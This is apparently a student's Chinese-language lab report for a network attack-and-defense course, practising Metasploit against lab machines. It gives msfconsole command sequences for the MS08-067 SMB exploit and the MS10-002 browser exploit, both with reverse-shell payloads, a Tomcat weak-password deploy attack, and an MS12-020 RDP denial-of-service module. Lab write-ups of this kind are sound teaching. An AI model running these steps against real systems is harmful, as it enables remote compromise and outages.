20192429马一 2021-2022-2 《网络与系统攻防》 实验六 Metasploit攻击渗透实践
一、实验要求
- 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
一个主动攻击实践,尽量使用最新的类似漏洞
一个针对浏览器的攻击,尽量使用最新的类似漏洞
一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞
成功应用任何一个辅助模块
二、实验内容
Metasploit介绍
- 开源软件Metasploit是H.D. Moore在2003年开发的,它是少数几个可用于执行诸多渗透测试步骤的工具。在发现新漏洞时(这是很常见的),Metasploit会监控Rapid7,然后Metasploit的200,000多个用户会将漏洞添加到Metasploit的目录上。然后,任何人只要使用Metasploit,就可以用它来测试特定系统的是否有这个漏洞。
- Metasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞、攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以从一个漏洞扫描程序导入数据,使用关于有漏洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击。所有这些操作都可以通过Metasploit的Web界面进行管理,而它只是其中一种种管理接口,另外还有命令行工具和一些商业工具等等。
渗透攻击(Exploit)
- 渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
攻击载荷(Payload)
- 攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。
溢出代码(Shellcode)
- shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。
模块(Module)
- 在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。
监听器(Listener)
- 监听器是MSF中用来等待连入网络连接的组件
三、实验步骤
3.1 一个主动攻击实践
- 攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Winxp SP2 192.168.31.138
- 在攻击机中输入 msfconsole 进入控制台后,输入如下指令
use exploit/windows/smb/ms08_067_netapi
set payload generic/shell_reverse_tcp //设置合适载荷
set LHOST 192.168.31.129 //攻击机IP
set LPORT 2429 //攻击机端口
set RHOST 192.168.31.138 //靶机IP 漏洞已经绑定特定端口
set target 0 //选择系统类型为xp
exploit //攻击!
- MS08_067安全漏洞原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC请求,通过MSRPC接口调用serve服务函数NetPathCanonicalize函数对进行远程访问的路径规范化,而此函数中存在栈缓冲区内存漏洞,可被利用实施远程代码执行
- 可以看到,此处已经获得靶机的shell,并且可以查看靶机的版本
3.2 一个针对浏览器的攻击
-
攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Winxp SP2 192.168.31.138
-
在攻击机中进入控制台后输入如下命令:
use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp //选择可以生成tcp反弹链接网站的payload
set LHOST 192.168.31.129 //设置反弹链接
set LPORT 2429 //设置反弹端口
exploit //开始攻击
生成了反弹链接:192.168.31.129:8080/fIm3ZsvYs
3.3 一个针对客户端的攻击
-
攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Linux metasploitable i686 192.168.31.139
-
tomcat管理员将用户名和密码设置成弱口令,导致可以所以获取session链接,进而上传恶意代码控制服务器。
-
使用** nmap -sV 192.168.31.139** 扫描靶机开放了哪些端口和服务,可以看到,tomcat所绑定了8180端口是打开状态。
-
查看tomcat模块,use tomcat_mgr_login 设置IP地址和端口,run后得到tomcat的用户名和口令
-
use tomcat_mgr_deploy 设置靶机IP和端口,同时配置刚刚获取的用户名和口令,使用exploit进行攻击
3.4 成功应用任何一个辅助模块
- 攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Win2kServer_SP0 :192.168.3.36
- 死亡蓝屏漏洞:RDP协议是一个多通道的协议,让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化或已经删除的对象,导致任意代码执行。 然后控制系统。
search ms12_020
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
set RHOST 192.168.31.129
run
四、问题以及解决方案
4.1 在执行adobe的漏洞文件的时候,adobe自动弹出暂停使用adobe,可以解释为adobe攻击失败
- adobe版本过高
五、学习感悟
- 本次实验重点在于尝试不同metasploit的模块,进行多种不同的攻击,最终获取靶机的控制权或造成靶机崩溃,值得注意的是,每一种靶机所适配的漏洞环境不同,所使用的载荷也相应不同,由于我一直使用的是恶意代码课程的纯净版xp系统,所以在我进行实验的过程中,或多或少得出现了无法攻击的情况,比如对于浏览器的攻击,我尝试了10余钟漏洞才攻击成功,漏洞复现不仅仅是要看系统的版本,还要看所攻击的服务器,客户端的版本。这不仅考验我的信息搜集的能力,还考验着我的耐性,看似简单的实验,其实想要找到合适高效的攻击漏洞,也要花费相当的精力和时间。